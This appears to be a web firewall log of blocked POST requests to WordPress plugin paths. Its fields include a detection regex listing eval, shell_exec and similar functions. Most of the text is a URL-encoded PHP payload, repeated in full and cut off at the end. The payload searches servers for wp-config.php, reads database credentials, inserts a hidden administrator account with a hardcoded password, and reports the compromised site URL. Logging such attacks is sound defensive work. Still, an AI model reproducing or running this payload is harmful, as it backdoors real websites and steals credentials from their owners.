29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:22:33","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ac:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7